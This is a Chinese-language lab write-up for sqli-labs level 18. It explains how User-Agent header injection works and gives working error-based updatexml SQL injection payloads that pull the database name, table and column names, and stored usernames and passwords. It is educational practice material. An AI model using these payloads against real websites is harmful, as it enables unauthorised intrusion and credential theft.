0
点赞
收藏
分享

微信扫一扫

sqli-labs关卡18(基于http头部报错盲注)通关思路

文章目录


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、靶场通关需要了解的知识点

  • 1、什么是http请求头
  • 2、为什么http头部可以进行注入

1、什么是http请求头

这里我只演示sql注入常见的请求头内容。

  • 1、user-agent
    User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。
    浏览器通常使用的格式为:
User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>

这里我在微博进行演示user-agent的作用(无恶意,仅演示)
这里我先用kali系统在火狐浏览器中微博搜索1(如图所示)
在这里插入图片描述

然后抓包更改user-agent内容,改为手机端。这里我改为oppo手机访问网站的user-agent。因为user-agent是用来识别用户的身份的,如果你是pc端,那么服务器接收到你的user-agent发现你是pc端的linux系统,它就会响应一个pc电脑访问微博的界面。那么如果服务器接收的是我更改的手机user-agent的话,它就会自动识别我是手机端登录,然后响应一个手机访问微博的页面。

这是我更改的oppo手机user-agent.
更改流程如下,图一是linux系统pc端的user-agent,图二是我们改为oppo的user-agent。
然后发包看结果对比一下。
图一

图二

在这里插入图片描述
发现我pc端访问的微博界面变成了oppo手机端访问微博的界面。这就是user-agent的作用。通过识别用户身份,响应合适的web界面。

  • 2、referer字段

就比如你从csdn访问外链接跳转,此时referer字段指向的url地址就是csdn的地址。

  • 3、cookie
  • 4、X-Forwarded-For

2、为什么http头部可以进行注入

由于大部分网站为了记录用户的http请求头部内容,来更好的识别用户的身份信息,会将其带入数据库处理。我们知道任何与数据库交互的地方都是有可能会有sql注入漏洞的。如果管理员没有对http头部内容进行验证和过滤,导致攻击者可以任意篡改http头部信息拼接到数据库恶意获取敏感内容。

二、靶场第十八关通关思路

  • 1、判断注入点
  • 2、爆数据库名
  • 3、爆数据库表
  • 4、爆数据库列
  • 5、爆数据库关键信息

1、判断注入点

首先打开第十八关,发现页面多了一个记录ip的信息。假如我们现在不知道是http头部注入,我们尝试在登录框进行sql注入,发现无论如何都是注入不成功的。这个时候我们就要换思路了,因为看到这里有记录ip信息,IP信息的记录像是和http请求头的X-Forwarded-For有关系。那么我们就要想到能不能在http请求头进行注入。
这里为了方便理解我们就看源码了
发现到有两个参数
在这里插入图片描述
网上搜发现是用来获取用户信息的user-agent值和ip值。我们发现这就是请求头的内容。继续往下看,发现user-agent值被带入到数据库中。而且没有被过滤。
在这里插入图片描述
(如图所示)我们也发现uname和passwd被过滤了,这里源码写了一个check_input的功能函数,将uname和passwd的特殊字符进行转义,我们也去网上搜了mysql_real_escape_string () 函数的作用,所以得知刚刚我们无脑在登录框注入不成功的原因是有这个转义函数在干扰。如果懂一点sql注入代码审计的大佬应该一眼就看出这是一个典型的防sql注入的代码。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
但是我们刚刚发现源码并没有将user-agent值调用check_input函数进行过滤sql注入。那么我们可以从这里构造payload。
我们仔细看user-agent值被拼接到数据库的代码。

在这里插入图片描述

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

我们是要在uagent进行构造pyaload的,所以就得看这句代码进行构造payload
这里构造为' ,1,1)#
在这里插入图片描述

在这里插入图片描述

发现构造payload成功,但是有的人可能要质疑了,你这是知道源码才能轻松构造出来payload的,那实战大都是没有源码的呀,那咋构造?
很好,这里我假装不知道源码是什么。我们首先和之前思路一样,先试一试and 1=1 和and 1=2,发现页面都正常,说明排除数字型。在这里插入图片描述
在这里插入图片描述
然后我们再直接在user-agent后面加上单引号,发现报错了。
在这里插入图片描述
报错语句为

从报错看出肯定是有关单引号闭合,凭空想象应该原始语句是这样的

('$uagent', '$IP', $uname)

从报错内容发现不光光是单引号闭合的问题。发现user-agent加单引号后报错是缺少了 ‘xxx.xxx.xxx.xxx’, ‘admin’)'这个东西。也就是说你刚刚是这样注入的才导致报错。

('$uagent'', '$IP', $uname)

我们如果单单像之前注入一样闭合掉单引号的话就会变成这样

('$uagent'#', '$IP', $uname)

这样的话后面的两个参数就不见了,也会报错。所以我们得构造出这样

('$uagent',1,1)#', '$IP', $uname)

在payload多写两个参数,构造出和原始语句一模一样的语句
payload构造出来了,因为它有报错回显,但是不回显内容。所以用报错盲注。

2、爆数据库名

注入语句为

1' and updatexml(1,concat(0x3a,(select database()),0x3a),1),1,1)#

在这里插入图片描述

3、爆数据库表

注入语句为

1' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1),1,1)#

在这里插入图片描述
得到关键数据库表名users

4、爆数据库列

注入语句为

1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1),1,1)#
1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1),1,1)#

在这里插入图片描述
在这里插入图片描述
得到关键数据库列username,password

5、爆数据库关键信息

注入语句为

1' and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1),1,1)#
1' and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1),1,1)#

在这里插入图片描述

在这里插入图片描述
得到账号密码

总结

这一关是利用http头部的user-agent值进行sql注入,由于这一关账号密码被sql防注入过滤了,但是没有对user-agent值进行过滤,所以导致可以在user-agent进行注入。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

举报

相关推荐

0 条评论